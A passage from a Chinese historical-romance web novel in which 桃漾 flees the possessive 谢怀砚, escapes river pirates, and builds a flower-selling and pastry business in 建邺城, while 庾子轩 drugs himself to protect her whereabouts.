庾珉并未与谢怀砚一同前来,谢怀砚此次有备而来,把他套进去,他总得心中明了才可与他一道前来坞堡,于是,他与谢怀砚道:“我回去换身衣服,怀砚可先行。” 庾珉回去后,当即就命人去查,适才刚刚得知,谢怀砚近来不止调动豫州兵马还让谢氏在各州府的人都在找两位女子—— 原来是风流事。 庾珉心中当下有了分寸,怕不是子轩这孩子看上了谢怀砚的女人,他呵笑一声,看上谁的女人不好,非得跟谢怀砚抢! 庾珉下了马车,见谢怀砚周身气势冷的骇人,上前神色严肃看着坞堡上的庾子轩,呵斥道:“你这孩子,吃酒吃醉了,快把门打开!” 庾子轩闻言无动于衷。 庾珉当即冷了脸,对守门部曲命令:“反了你们了,打开大门!”庾子轩在坞堡上高声:“大伯,恕子轩无礼,坞堡内我请了高僧正做法呢,要做够足足一个月,谁都不能进!” 他说完,再对守门部曲吩咐:“守好了!” 谢怀砚手中箭射出去的那一刻,围在坞堡外的官兵就已拔刀而动,上前围攻住坞堡,庾氏家主庾珉被庾子轩弄的毫无面子,一时气极,上了马车。 对身边人吩咐:“去请他父亲来!” 半个时辰后,天幕已有些暗下,庾珉坐在马车内隐隐瞧见有成群结队的队伍再往栖云坞赶过来,他眉心凝住,当即再让人快马往淮阳走一趟,沉声吩咐:“务必要让谢氏家主亲自前来!” 队伍行的近些时,庾珉才看清,原来是竹陵桓氏的部曲,领头高坐马背之上的,是竹陵的四郎君桓恒。 庾珉眉头紧蹙,对随从吩咐:“回府。” 崔寅看到桓恒带着上百部曲前来时,神色凝住,谢怀砚回身看了眼,桓恒竟也知她在——他冷笑一声,冷白指节拉弓,未有半分迟疑,正对着桓恒的心**出。 桓恒在马背上躲避,怒视着谢怀砚:“我与你的仇,也该报了!” 谢怀砚神色晦暗一笑:“原来桓四郎还记着与我的仇,是荀氏女郎不够合桓四郎的心意么?还是说,那日夜里,她在我身。下承。欢让桓四郎夜夜不得安枕?” “谢怀砚!你这个混账!” 桓恒暴怒的青筋四起,翻身下马,提剑上前就要往谢怀砚身上砍,谢怀砚冷漠的看着他,手持弓弩蔑视的挥开桓恒的剑。 庾子轩在坞堡上看到桓恒带了上百部曲赶来,和谢怀砚带来的官兵厮杀,很快,这些官兵就已不敌,当即下令:“打开大门,杀出去!” 坞堡的高大石门被推开的那一刻,趁着夜色的掩盖,忽然有上百官兵一涌而出,在外围将桓恒带来的人也通通围住—— 夜里亥时,桓恒和庾子轩被五花大绑的坐在地上,官兵将整个坞堡翻了个底朝天,庾子轩设计的机关也都搜遍,始终不见桃漾的身影—— 谢怀砚神色淡漠凝视着他,庾子轩笑笑道:“我不知道,什么都不知道!”谢怀砚冷笑一声,扔下手中剑,大步走出,对空谷吩咐:“把他带去淮阳。” 第60章 哥哥抬手抱住了她 庾珉回到府中,当即让庾三爷带府中部曲前去栖云坞,再问府中下人:“二爷呢?” 下人回:“二爷早几日就出了府,说是去山中和友人作画。” 庾珉闻言凝了凝眉,不再言说。 自颍川郡往南是青州,往西则是司州,穿过大半个司州,在司州境内靠北的望江县可走水路直达北朝国土境内。 正月二十六那日,庾子轩的父亲庾睿再来了栖云坞。 年关时,庾子轩在他的书房里一番胡言乱语,庾睿一直以为他是想要妹妹想的疯魔了,可后来这事越发的不对,庾子轩整个人都不太对。 庾睿存了几许好奇心思,想来看一看他的坞堡里到底是有什么人。 他那日来的也很巧,庾子轩正在他的院中用着午膳,庾睿在八仙桌前坐下,看了眼他的吃食,凝眉道:“你在坞堡生活,你二兄还克扣你的吃食了?若让你母亲瞧见你的桌上只有些馄饨,打也得把你给打回府中去。” 庾子轩闻言笑了声,用汤勺大口往嘴里送:“这是人间美味,千金不换的,”他吃的香喷喷,一口一个,还满脸的满足,问庾睿:“父亲,你可要尝尝?” 庾睿虽不信他口中的话,可见庾子轩吃成这个模样,对他颔首:“我来尝尝。”庾子轩给庾睿往玉碗 里盛了几只:“呐,荠菜馄饨。” 庾睿尝了一口,倒是没说什么,默默把庾子轩给他盛的都给吃了。 待用完午膳,庾睿看着庾子轩,与他道:“那日你问我,若你真有一个妹妹我认不认,”庾睿笑了下:“若当真有,她便是咱们颍川庾氏的血脉,怎可让她流落在外。” 庾子轩这个时候听到这句话不但没高兴,反而神色凝重了几分。 他用话试探过桃漾,她并不愿认回庾氏。 庾子轩尊重她的想法。 庾子轩对庾睿讪讪道:“那日不过是跟父亲开个玩笑,父亲怎还当真了,我哪能有什么妹妹,不过是存个念想问问您罢了。” 庾睿闻言叹了声:“你这孩子。” 午后,庾子轩前去处理坞堡内的事务,庾睿就在坞堡内闲走,桃漾自花种洒下后就常来她的田地里瞧,回来时正与庾睿迎面碰上。 当时,她虽作男子打扮,可庾睿瞧她时的目光还是不对,桃漾见他盯着自己看,对他见了礼,从他身边走过回了院中。 庾睿在原地怔站片刻,命人把庾子轩给找来,询问他一通,庾子轩只有一句话:“人家是男儿身,父亲,你还说我疯魔了,我看你才是疯魔了呢。” 庾子轩怎么也不承认,庾睿当夜也未离开,就在坞堡住下。 这日夜里,桃漾让雪松唤了庾子轩过来,刚过戌时,坞堡里还很热闹,桃漾和庾子轩坐在院中树下的石桌前,神色认真与他道:“我要走了。” 庾子轩只觉当即一道闷棍杵在脑袋上,端起的茶盏都未捏稳。 桃漾再道:“听集市上的人说如今天下太平,南北朝互市,我打算去北朝。”她的话说的坚定,是思忖多时做出的决定,庾子轩听在心中,许久后道:“我能不同意么?” 桃漾看着他,没有言语,只把桌上盘中的糕点往他面前推了推。 当初在淮阳,她故意送给庾子轩香粉,问起他蚌粉过敏之事,为的就是让庾子轩将他们之间的蚌粉过敏联系到一起。 她知道,庾子轩当时就生了疑心,给了她那块鹰状木牌,自淮阳离开后,就命人去阳夏查了她。 当年,庾氏家主庾珉曾和桓馥定下过亲事,那时,庾睿和庾珉极为交好,常跟着庾珉前去竹陵郡访友游玩,这些年她在阳夏过的如何也不难查。 庾子轩很聪明,早就知道了他们之间的关系。 她那时在谢怀砚身边如被封在密不透风的铁笼中,她不知道该如何做,凡是可以抓住的稻草她一个也不想放过,她知道自己的父亲是庾氏中人。 知道庾子轩很希望能有一个妹妹。 可她就算留在颍川庾氏,也只是一个庶女,若谢怀砚前来庾氏讨要她,庾睿和庾子轩都护不住她。她当初收下庾子轩的鹰牌时,也只是想着有一日若走投无路,可以前去寻他。 她想离开,离得豫州远远的,每到夜里,只要她想到她还在豫州地界,她心里就会觉得不安。 谢怀砚知她寻陆氏时,便查过她的身世,知道她和颍川庾氏的关系,她在栖云坞里,始终不安心。 这些日子桓恒每日里都来,她不愿再见他,也不想让他把心思再放在她的身上,早在淮阳的那夜,她和桓恒之间就结束了,不愿直面相对,也无任何的话可说。 这里有太多熟悉的人,太多的关系。 她迟迟不语,庾子轩也沉默着不吭声,只神色沉闷,心中憋了一口气,他在心里怨自己,怨父亲今天见了桃漾,也怨桓恒整日里赶都赶不走。 他低声问桃漾:“怎么去?” 桃漾回他:“随商队一起。”庾子轩闻言一字未说,起身大步离去。 桃漾以为他生气了,在院中石桌前坐了好些时候,直到戌时末,她起身要回屋中时,庾子轩又来了她这里,走上前只有一句话:“此行路途太过遥远,我找个人送你。” 桃漾也正有此意,对他颔首。 庾子轩再道:“既然要走,就早些走吧,明儿卯时自坞堡北门走,会有人在那里等你。”初春的卯时天色还暗着,庾子轩说完就要抬步离开。 桃漾在他身后抿了抿唇,嗓音清丽唤他:“子轩哥哥。”庾子轩闻言脚下步子顿住,许久未回过身来,桃漾走上前,站在他面前,见他神色沉闷,对他浅浅笑了下:“谢谢你。” 庾子轩心中憋的气也就散了,抬手抱住她,嗓音低沉:“好不容易有了个妹妹,又要走了——桃漾,我给你的鹰牌一定要收好,咱们庾氏这些年的生意做的广,北朝也有很多铺面,到时你若需要,就拿鹰牌去庾氏铺面,他们都会听你的。” 翌日卯时,桃漾来到坞堡北门,坐上马车时,才知道庾子轩口中的‘找了个人送她’找的是他父亲庾睿。 桃漾上了马车后,看着坐在车厢内正煮着茶的庾睿怔了许久的神,只站在马车门前,还是庾睿先开了口:“晨起冷寒,坐下用盏热茶吧。” 桃漾对他点了点头,和身后上来的陈月漪一起坐下。 马车一路行了近一个时辰,车厢内也未有只言片语,还是外面的天光微微有些亮了,庾睿开口道:“到了前面的驿站,咱们停下用些吃食。” 他看着桃漾,再道:“有我与你们同行,这一路上不必忧心。” 桃漾对他颔首:“多谢庾二爷。” 自正月二十七日一直到二月三日,庾睿对桃漾格外的关怀,心细如发,桃漾起初还不敢确认,后来也就明白,庾子轩应是都跟庾睿说了。 不过,庾睿只是待她亲切,却并未与她多说些其他的,想必也是庾子轩与他交代过的。 这于桃漾来说,是种很奇怪的感觉。 她自幼知晓谢澜不是她的生父,也知谢澜本就不喜她,对谢澜从未有过太多的期待,连带着对父亲这个角色也未抱有过任何的期待。 庾睿对她关心,她心里其实没什么触动,毕竟庾睿对她来说也不过是一个有着血缘的陌生人,可她却又会对他的关怀有着别样的情绪。 二月初三这日一早,便到了望江县的码头前,庾睿亲自前来督办庾氏名下的产业,运送一批丝绸往北朝去,让桃漾坐在这艘船上,一路北上,随商队一同入北朝京都建邺城。 庾睿站在码头前,直到桃漾的身影入了船舱,船只划出水面,他才抬步上了马车,再往颍川郡回。 庾睿喜好作诗作画,他的书房一直存放着一卷女子画像,那是当年他随长兄在颍川郡做客,曾有一夜,他醉了酒,梦到了云中仙子。 他一直以为那是他梦中的女子,生的那般姿容,虽着素衣,却清丽明媚,宛若仙人,直到那日他见到桃漾,就算她扮作了男子打扮,他还是一眼就在她眉眼间看到了梦中女子的影子。 原来,那不是一场梦。 那是真真实实的存在过的。 自司州边境的望江县走水路至北朝建邺城,至少要走半月的行程,这是颍川庾氏运输丝绸专用的船只,除却一位管事两个婆子以及看守豪奴外,再无他人。 船上清净,桃漾和陈月漪每人一间敞阔的船舱,赶了这么几日的路,一直未能休息好,上了船后和管事婆子在一处待了一个时辰,向他们打听一些行船路上的事,以及北朝是怎样的风土人情。 之后就回了船舱内上榻睡了一觉,直睡到日光西下。 再起身时,两个婆子正在船上忙着做晚膳,桃漾刚睡醒,没作男子打扮,身上穿了件藕荷色的棉布裙,往船舱尾部走过来,问她们:“是要包馄饨么?” 她看到一个婆子正在和面,另一个则在调馅料,王婆子见她过来,笑道:“姑娘午时就没用膳,饿了吧,老奴先包出些来给姑娘煮了吃。” 桃漾对她轻笑:“不用,我刚睡醒还不饿,”她在张婆子对面坐下:“我和你们一起包。” 王婆子见状,忙道:“使不得,姑娘去船边瞧瞧景罢。”桃漾拿起王婆子和好的面:“两位阿婆不必跟我客气,这一路行船还有好些日子,咱们一起忙活就成。” 两个婆子闻言自不再说。 接下来的十来日里,在船上倒也过的惬意,往日里他们行船总会在沿途耽搁上几日,这回许是有庾睿的交代,他们这艘船经过好几个繁华热闹的府城时也未停。 只有船上的豪奴偶尔下去采买些吃食用物。 行船的第十三日,他们的船到了南北交界之地,用晚膳时,桃漾有些没胃口,问王婆子:“我怎么觉得船只行的更快了些,有些胸闷难受。” 王婆子与她道:“是行的快了,如今南北朝刚互市,这交界处不太平,过往船只每行至此处都要加快速度的。”桃漾闻言对王婆子应了声。 简单用了点粥后,她就回了船舱内歇下。 戌时,天幕暗下,桃漾躺在榻上有些口渴,起身来倒杯水喝,茶壶里的水刚落进杯盏中,她整个人连同着船舱内的物件一同晃动,险些没站稳摔倒在地。 桃漾凝眉,搁下茶壶就上前去推开窗,只听船上的豪奴严声道:“是水匪!”被拦下的船只不仅她们这一艘,还有一艘货船和一艘客船。 水匪的船只高大且长,直直的拦在前方百米处,桃漾听到管事扬声和隔壁汇聚过来的船只在商议:“舍财保命?你们是头一回运货吧,这群水匪残暴嗜杀,就算货物都给了他们,也不会放过咱们。” “我们船上有二十豪奴,你们呢?咱们这几艘船上的人倒不如一起和他们拼了,还能闯出个活路来!” 几艘船只并排而靠,桃漾在船舱内凝眉看着这片江水的走势以及附近的地势,陈月漪焦急的来到她这里,喘着气道:“管事让我们待在船舱里,锁好舱门。” 桃漾对她颔首。 不多时,船舱外传来刀枪剑戟的打斗声,江水潮湿,带来阵阵的血腥气,桃漾低声问陈月漪:“匕首带在身上了么?”陈月漪对她点头。 桃漾起身快速收拾她们的包袱,与陈月漪再道:“若外面的人不敌水匪,咱们就跳江,我适才看过,江面平缓,没有冲击,咱们往南面林木多的方向游。” 桃漾的话说完,船舱外就传来了孩童的哭闹声,打斗声渐止,随之而来的是乱糟糟的求饶声,桃漾和陈月漪相视一眼,把包袱牢牢系在腰上,趁着船舱内这时还很混乱。 自窗户跳出,只是,刚一出去,就有水匪瞧见她们,大喊:“她们两个要跳船——”船栏足足到人腰间,未等跳出去,已被人按在了船板上。 再被带到人群所在之地跪着。 不多时,有一戴了面具的男子在水匪们恭敬的目光下走出来,垂眸扫过一眼,抬手随意指了几个人,开口道:“这几个先杀了,忌咱们死去的弟兄。” 几乎是话落刀起,其余跪在这里的人身上俱是打着颤,抖成筛糠。 就在这时,有一跪在这男子面前的妇人许是被吓的失了神,愤怒而起,起身就往这男子身上扑,欲用发间的银簪刺死他,只是银簪还未挨到这男人。 妇人就已倒在了血泊中。 男人面上的面具因妇人一扑,掉落在地,他神色间有了一瞬的慌乱,人群中亦是躁动,桃漾点了点陈月漪的手,利快起身,扬起手中的迷药撒在身侧水匪面上。 和陈月漪大步冲向船边,按在船栏,使尽了力气翻身一跃,跳入滔滔江水中,跪在木板上的人中不乏有会水的,见状也纷纷起身,自四面八方往水中跳去—— 入春已有一月时日,夜间的江水依旧冷寒,她们跳下去后,陆陆续续有人往下跳,船上的水匪得了金银货物,也就没再管她们,只是夜间视物不清,跳下去没一会儿,桃漾和陈月漪就游散了。 游了近半炷香的时辰到岸边时,桃漾已是筋疲力尽,大口大口的喘着气,唇色已是青紫,她放眼往一望无际的江水看过去,江面依旧平静,不见任何的起伏。 她垂眸看了看脚边的一个小女娃,凝了凝眉,抱起她往不远处唯一的亮光处行去。 这处林木后,有一座道观,桃漾抱着小女娃来到这里时,守门的小道士极为热心的将她们请进去,与桃漾道:“姑娘来的巧,师父他正在房里为人治伤呢。” 道观不大,很快就来到一处院中,桃漾等在屋门前,小道士进去通禀,片刻,再走出请桃漾进去,桃漾走进后,一位年长的白须老者看了看她,让她把怀中女娃搁在竹榻上。 桃漾把小女娃搁下后松了心神才发觉,这屋内不止小道士口中的师父一人,还有两个身着锦衣华服瞧着打扮似是士族公子的人。 老道长给小女娃搭了脉,虽然桃漾已经给她按出了一些喝进去的水,老道长按住穴位后小女娃又吐出许多,睁开眼睛醒过来,看了一眼身边的人后哇哇大哭。 小道士急忙开口去哄:“别哭,别哭,你阿娘在这呢。” 桃漾:“……她是我在水中捡的。” “离这里大概十里的位置,好几艘船遇到了水匪,大家都跳水逃命,她在水中抓了我的衣服——” 桃漾话落,他身后一男子上前问她:“姑娘可知水匪共有几艘船,大概多少人?”他这般上前去问,另一男子急忙打断他:“你好不容易休息几日来这里,水匪自有当地官员去处置,你——” 这人话未说完,被前面的男子侧身看了一眼,只好闭嘴。 暗暗在心中腹诽:南北刚太平,一身的伤还不消停—— 他问的这些,桃漾在船舱内窗边时都有留意,回他:“一艘大船长二十米,另有一艘普通小船,估算水匪共有五六十人。” 男子对她颔首,随后抬步就要走。 桃漾在心中想,这人应是位武将,开口唤住他,问:“有笔墨吗?” 小道士给她取来了笔墨,桃漾循着昏黄烛火下看到的那名被扯下面具男子的面容,将他给画了出来,递给这男子:“这是水匪头目的画像,他面上的虎皮面具被人扯下,我瞧见的。” 男子自她手中接过,画像上的男子五官清晰,该有的特点尽在纸上,他扫过一眼后,眸光再落回到桃漾身上。 60-70 第61章 银子就算是死了,也得送回来! “多谢。”他说完后与老道长施礼,在夜色中出了屋门。 待到第二日午后他再回到这处道观时,问小道士:“昨夜那位姑娘呢?”小道士与他客气回:“天不亮人就走了,说是急着赶路。” 萧子亭闻言默了默,小道士问他:“公子可是找她有事么?” 萧子亭轻笑了下:“无事,昨夜水匪已除,想跟她说一声。”他话落,耳边再传来孩童的哭闹声,萧子亭朝哭声传来的方向看过去,小道士神色无奈道:“是昨夜那个小女娃。” “那位姑娘说她不方便带她走,当时小女娃的父母也跳了水,待他们平安逃出定会来寻她的。”萧子亭颔首,与身后人吩咐:“去昨夜救下的人中找一找,看是否有她的父母。” “是。” 桃漾昨夜在道观借了间屋舍,小歇一两个时辰,待身上的衣服烤干后,就起身离开了这里,天光还暗着,她一路往昨夜说的那片林木中走。 东山日光映出时,她在一堆干草中找到了陈月漪。 陈月漪游上岸后,不见桃漾,就在这片林木中捡拾了些干草,边烤干着衣服边用火光给桃漾指引,只是她一直没等到桃漾来,夜里冷寒,她最初没敢睡,后来窝在干草里不小心就打了盹。 “阿漾,你没事吧?”桃漾对她摇了摇头:“没事。”她抬眸看了眼晨起泛着白雾的江面,垂眸再看了眼身上的包袱:“昨夜游上岸时,包袱里的东西掉了大半,鹰牌也不见了。” 陈月漪皱眉,也给桃漾指了指她挎着的包袱:“我的也一样,只剩下几身衣服,不过,好在咱们的入城文书还在,我已经晾干装起来了。” 两个人说着,肚子都开始咕咕叫,桃漾舒展开眉眼,吐出一口气,轻笑道:“咱们先去吃点东西。”她拔下发间仅有的一支银簪,捡支树枝挽在发间:“这里离建邺城还有两日的水程,留下坐船的银子,还能买些胡饼。” 自这片林木走出,有一小村庄,村头就有搭棚卖汤饼的铺子,折腾了这么一夜,身上既冷又饿,陈月漪也拔下发间银簪,用木棍代替,两个人各用了一碗热腾腾的汤饼。 再买上几个胡饼后,往码头走。 两日的水程,她们上了船后就在船舱内睡下,醒来时已过去了一日一夜,桃漾起身洗漱后,出了船舱站在甲 板上,望着江水滔滔,以及江岸两边正盛放着的姹紫嫣红。 船只在天色将暗时到达建邺城,她们上了岸后,是一片热闹繁华的景象,街上的行人来往,摊铺前叫卖声不断,时有孩童玩闹,华贵马车通行。 陈月漪与桃漾道:“阿漾,这里比淮阳城还要繁华,不知和南朝的建康城相比哪个更热闹些。” 桃漾和陈月漪谁都没有去过南朝的都会建康,桃漾只听人给她讲过,她想了想,道:“应是差不多吧。” 她们身上仅剩一百五十文钱,拿出一百文要了间普通客房,再每人用了碗汤饼花去二十文,只剩下十文钱,在客房里清洗一番后,换了衣服来到一楼窗边坐下。 两个人相对而坐,默默无言。 许久,陈月漪见桃漾盯着隔壁桌前一位体大膘肥的富商模样的人瞧,那目光直直的,就盯着人家腰间的钱袋子,陈月漪咬了咬唇,低声道:“阿漾——” “嗯?”桃漾回过神来。 陈月漪再道:“你不会是想‘劫富济贫’吧?”桃漾闻言轻轻笑了下:“咱们还没走到这一步,我只是在想,咱们的钱袋子什么时候也能这样鼓鼓的。” 陈月漪闻言心中松下。 桃漾再道:“不过,若真有那么一日,人总要活着。”陈月漪看了看那富商,与桃漾道:“适才咱们来客栈时,我见很多铺面前都招人,咱们去看看。” 左右时辰还早,两个人就一起在建邺城逛了逛,只是,问了数十家铺面,却无人愿意要她们做活。 夜里,陈月漪许久未能睡下,翻来覆去的犯愁,已是夜半时分,她回身看向睡在床榻里侧的桃漾,她阖着眼,呼吸匀称,像是已经睡下了。 陈月漪想要唤她说说话却又忍住。 这些日子一路走来,桃漾从未显露过自己的情绪,可陈月漪也能明了一二,桃漾内心只会比她更为痛苦。 她自几年前家族落败时就已过尽了苦日子,后来去了谢氏,虽是吃穿用度皆不缺,却也做的是下人的活计,可桃漾不同,她虽厌恶谢氏的牢笼,可那牢笼却是金银铸就。 窗外夜风轻拂,带动着刚露新芽的枝叶簌簌作响,陈月漪逐渐有了困意,桃漾侧首来看她,给她掖了掖被褥后起身下了榻,推开窗在窗前站了许久。 她们落脚的客栈就在建邺城的南大街,天还未亮时,街道上就已传来各个铺子里的忙碌声,桃漾抬手轻轻拍了拍陈月漪:“阿月,起床了——” 陈月漪觉得自己才刚睡下,睁开惺忪的眸子看着桃漾,疑惑道:“阿漾,你怎么起这么早,衣服都穿好了——”桃漾对她轻轻‘嗯“了声:“我带你去个地方。” 陈月漪从榻上爬起来,桃漾给她倒了杯茶,用过后两个人一道出了客栈,径直再往南走,直到街道上的人渐渐变得稀松,屋舍也渐渐变少,出现一片又一片的桃花林。 陈月漪打了个哈欠,问桃漾:“阿漾,你是带我来赏花么?”桃漾对她轻笑,待穿过桃花林后,抬手给陈月漪指了指:“咱们去那座山上。” “去采花。” 昨夜桃漾站在窗边吹风时,看到了月色下的柳树,细细的垂枝伸展出了嫩芽,她想到了在来建邺城的船只上看到的山中花草,姹紫嫣红,一片又一片。 陈月漪当即明白过来:“阿漾,你是想去街市上卖花?”桃漾对她点头:“我只是觉得这样或许可行,左右也找不到活计做,咱们先试试。” 这座山就在建邺城的南面,平日里来往的人也不过是在山中闲走,鲜少有来山中采药狩猎的,桃漾和陈月漪刚走进山中不远,就瞧见了大片的杜鹃。 桃漾让陈月漪挑拣些含苞的花折,她再往前去,折了一大捧的连翘和鸢尾。 她们来山中的早,这个时辰花骨朵上还都含着露珠,晶莹剔透的,格外惹人喜欢,折了这些后,就抱在怀中趁着日光还未完全出来,再赶回热闹的街市上。 桃漾寻的位置是建邺城最大的首饰铺子旁,这里不同于坞堡,她们没有摊铺位置,就抱在怀中,街道上经过的人都会来她们这里瞧上一眼。 却无人要来买花。 桃漾咬了咬唇,和陈月漪道:“阿月,咱们得吆喝。” 陈月漪看了眼不远处糖人铺子前的阿伯,他就在一声一声的吆喝,与桃漾道:“我先来喊几声。”说罢,陈月漪就扬声喊着:“新鲜的花儿,夫人来瞧瞧——” 她这么喊了几声,倒真有人来她们这里看了看。 一妇人停下马车,掀开帘子看过来,温声问:“怎么卖的?”她的目光在鸢尾花上扫过,桃漾抱着鸢尾花上前,笑盈盈与妇人道:“五十文一份。” 这妇人的婢女闻言看了桃漾一眼:“哪有花儿卖的这么贵的,在那边的花市上买上一盆也不过二十文钱。” 桃漾笑回:“夫人气质温雅,身上着烟紫蜀锦衣,我能为夫人配出与您气质相符的插花来。”这位夫人瞧着桃漾,见她面上一直挂着笑意,一大早的瞧着就舒心,与她道:“你来配一束。” 桃漾知她喜鸢尾,取出七枝鸢尾花,再搭上两枝含苞的杜鹃,在这些花苞之上插上两枝缀着露珠的连翘,随后递在这位夫人面前:“您瞧瞧是否满意?” 这夫人笑了笑,示意婢女接过给银子。 几枝花卖了五十文钱,桃漾和陈月漪相视露出笑意,不多时,再有年轻女郎过来买花,待来往首饰铺子的人逐渐多起来,陈月漪就上前去与人搭讪卖花,桃漾则在后面给人插花。 她们折的花不多,刚过辰时就卖完了,两个人还都饿着肚子,回客栈的路上每人用了碗羊肉馄饨,待到了客栈收拾收拾物件再往城南行去。 她们住在客栈一晚需要一百文,离得城南也远,桃漾和陈月漪商议,决定就住在她们采花的山下,山下大片的桃树林曾是朝中权贵的别苑府邸,后来犯错被抄了家,只留下这大片的桃树林。 还有桃树林后的一座破旧小院。 小院里住着一位年迈的阿婆,腿脚不太好,只她一个人独居,晨起时桃漾就来问过阿婆,每月给她一贯钱是否可以租下她的一间屋子,阿婆虽年迈,身上穿的却体面,与她们道:“不要银子。” 她看着桃漾,问她:“小娘子会做饭么?” 桃漾对她点头:“会做饭,也会做糕点。” 阿婆笑道:“你们管我饭吃就行。” 桃漾和陈月漪来到这里时,阿婆正拿着扫帚清理房间,见她们过来,笑道:“我年纪大了,你们自己清理吧,”她抬手给桃漾指了指:“那间屋子里有几床新的被褥,我从未用过,你们拿来用吧。” 桃漾对她道谢,把在街市上买来的蜜饯递给她:“晨起时闻到您屋里有药味,给您带了些蜜饯来。”阿婆看了看她:“倒是个心细的姑娘。” 桃漾和陈月漪在院中的井中打了水,把屋子里清扫一遍,再晾晒了被褥,把身上穿的衣服也洗了洗,正忙活着呢,阿婆‘哎呀’一声,不满道:“午时了,该用饭了。” 陈月漪急忙擦了擦手:“好,这就给您做饭吃。”阿婆的灶房里米面齐全,什么用具都有,陈月漪去煮了汤饼吃。 忙完午饭,桃漾止不住的打着哈欠,她昨夜里没怎么睡,用些吃食后就先靠在躺椅上小憩了会儿,到了晚间,铺好被褥后,她和陈月漪两个人才开始算今日挣了多少银子。 六百文钱。 陈月漪心中欢喜,道:“阿漾,明儿咱们多折些。” 第二日天还不亮,陈月漪和桃漾就起身去了山中,不止折了鸢尾、连翘和杜鹃,还又折了迎春和白玉兰,用竹筐装了满满的两筐。 来到街市上和昨日一样在首饰铺子旁卖花,巳时半就已卖完回到小院,阿婆正坐在院中,瞧了她们一眼,桃漾再把一袋蜜饯搁在她面前,轻声道:“阿婆,早饭给您放在锅里了,您吃了吗?” 她和陈月漪起来的早 ,只能把早饭做好放在锅中。 也是昨日夜里才想到阿婆用饭的问题,没来得及与她商量,桃漾看着她,阿婆倒也没说什么,只道:“午后给我做些糕点吃吧,日后不用做早饭了。” 卖花是争时节的生意。 只有春日里才有这样的好生意,桃漾想多挣些银子,和陈月漪每日卯时起身,忙到午时才回来,起初是两个人在一起,后来分为两个地方卖花。 四月已过了半,不觉间她们来到建邺城已有一月时日,山中还在盛放的花越来越少,到了五月初,已没什么花可再折去卖,只能摘些山中的野果子。 五月中旬时,天气逐渐热了起来,桃漾和陈月漪这两月时日攒下了六十两银子,夜里,桃漾与陈月漪商量道:“阿月,咱们做些别的营生罢。” 陈月漪一直相信桃漾,对她点头,问:“阿漾,你想做什么?”桃漾看向建邺城热闹的方向:“咱们盘间铺子,你来做糕点,这段时日卖花我发现建邺城里的夫人女郎都很喜欢新花样。” “你做的糕点花样多,定能受人喜欢,很快就要入夏,我做些药用的香囊,就在糕点铺子旁售卖。” 说完这些,陈月漪担心道:“租铺面需要的银子多,咱们攒下的够么?”桃漾回她:“租间小的铺面应是够的。”她说完再对陈月漪道:“咱们本就一无所有,若是不成,重新开始就是了。” 陈月漪想到那夜在客栈她们第二日就要面临着没银子吃饭没银子住店的日子,如今已是越来越好了,对桃漾笑道:“总会越来越好的。” 第二日,桃漾就和陈月漪去了街市上看铺面,牙人按着她们的要求给寻了四五处,几经对比下,桃漾选了一处城南书肆对面的一间铺面。 给了牙人一年的租金五十两,手边还剩余十两银子买些药草,以及准备铺面的开张,忙忙碌碌至五月底,她们的药食同源糕点铺正式开张。 —— 六月初,庾子轩已被谢怀砚带回淮阳整整三月时日。 颍川庾氏数次前来淮阳要人,谢怀砚只在庾氏家主庾珉初次来淮阳时见了他一面,之后对庾氏中人拒不相见,庾子轩也始终待在淮阳。 庾氏在朝为官的四爷以及大郎君二郎君纷纷上书陛下,不止弹劾他为了一己私欲囚禁庾氏儿郎,还将三月前谢怀砚带兵围攻坞堡一事也一同上书。 桓恒自那日回到竹陵后,就被他父亲禁了足,他本是打算退了和荀氏女郎的亲事,可半月后,谢怀砚不知发了什么疯突然来了竹陵,与他伯父庾氏家主见了一面,他和荀氏的亲事不但退不成,反而定在了一月后成亲。 如今,桓恒已成了家,得知庾氏上书陛下告谢怀砚的状,他当即也修书一封给在建康为官的长辈去了书信。 谢怀砚如今不怎么去鹿鸣山。 除了去见庾子轩。 他把庾子轩带回淮阳的当夜,庾子轩就昏迷了过去,大夫前来搭脉,神色凝重与谢怀砚回禀:“公子,庾四郎君他,他服用了傻药。” 傻药是一种坊间秘药,服用后虽什么都记得,却会变得疯疯癫癫,说出口的话难辨真假。 谢怀砚冷了神色看庾子轩,对大夫吩咐:“治好他,不管用什么办法。”大夫翻阅古籍,倒是寻到了一种法子,只是须针灸一月后才可见效。 大夫日日住在鹿鸣山中为庾子轩针灸,一月时日后,庾子轩的傻症不但未减轻,反而越发的严重,到如今已是有三月,庾子轩依旧如孩童心志般坐在屋内的木地板上摆弄着一些木头。 夜半时分,谢怀砚再来到鹿鸣山,守门部曲把门打开,手中正握着一粒药丸的庾子轩见状急忙就要往嘴里塞,谢怀砚看他一眼,抽出袖中匕首朝庾子轩打过去。 匕首‘咣当’一声落地,随之掉落的还有庾子轩手中那粒红豆大的药丸。 庾子轩瞪他一眼,起身就要去捡,却被谢怀砚上前一步将药丸碾碎成末,他居高临下凝着庾子轩,抬手在庾子轩颈间悬挂着的一块四四方方的木盒上点了点。 谢怀砚呵笑一声:“原来是这个东西。”他用力一扯,将小木盒攥在手中,鄙薄的看着庾子轩:“为了护她,你倒是费尽心思,可惜,她从一开始就是在利用你。” “你对她再好,她也只会弃你而去!” 他话落,冷笑一声,手中木盒‘砰’的一声被摔落在地,摔出数颗小药丸,四处滚落。 庾子轩自年少时钻研机关术,他颈间的木盒设有机关,每隔一月自动开启,出现一粒药丸,以及木盒底部的三个字:‘吃了它’。 那日在坞堡,他和谢怀砚对抗,不过是为了给桃漾争取更多的时间离开,他知道,谢怀砚若找不到桃漾,定然会把他带走,而这傻药并非无药可解。 他便在颈间佩戴了这只木盒,每隔一月服用一次,让自己永远也好不了。 谢怀砚对门外部曲吩咐:“寸步不离的看好他。”他大步走出屋门,往鹿鸣山外走,经过碧月阁时侧首看去一眼,神色冷凝,问空渊:“里面的东西可动过?” 空渊回:“公子吩咐,无人动过。” 他抬步往碧月阁内走。 夜半时分,月影西斜,春末的夜风也是暖的,碧月阁内种的花草都开了,拂来阵阵花香,谢怀砚坐在温泉池外的八角古亭下,直到东山天光微亮。 他起身来到桃漾居住的那间卧房,高大身影站在门前,望着屋内的一切,那日清晨,他们还在那张榻上欢。好,她神色乖巧,满足的钻进他怀中。 谢怀砚呵笑一声,神色愈发的冷沉。 空谷自鹿鸣山外赶来,上前回禀:“公子,各州府都传来了书信,不曾有五姑娘的消息——守在庾氏坞堡外的部曲也来信,他们彻夜守着,也不曾见五姑娘。” 日光已逐渐升起,谢怀砚背光而立,语气平静而淡漠:“再找,就算是死了,埋了,也得把尸首挖出送回来!” 第62章 疯谁也别想过好! 谢怀砚自鹿鸣山回到墨园时,谢蕴正在书房等他。 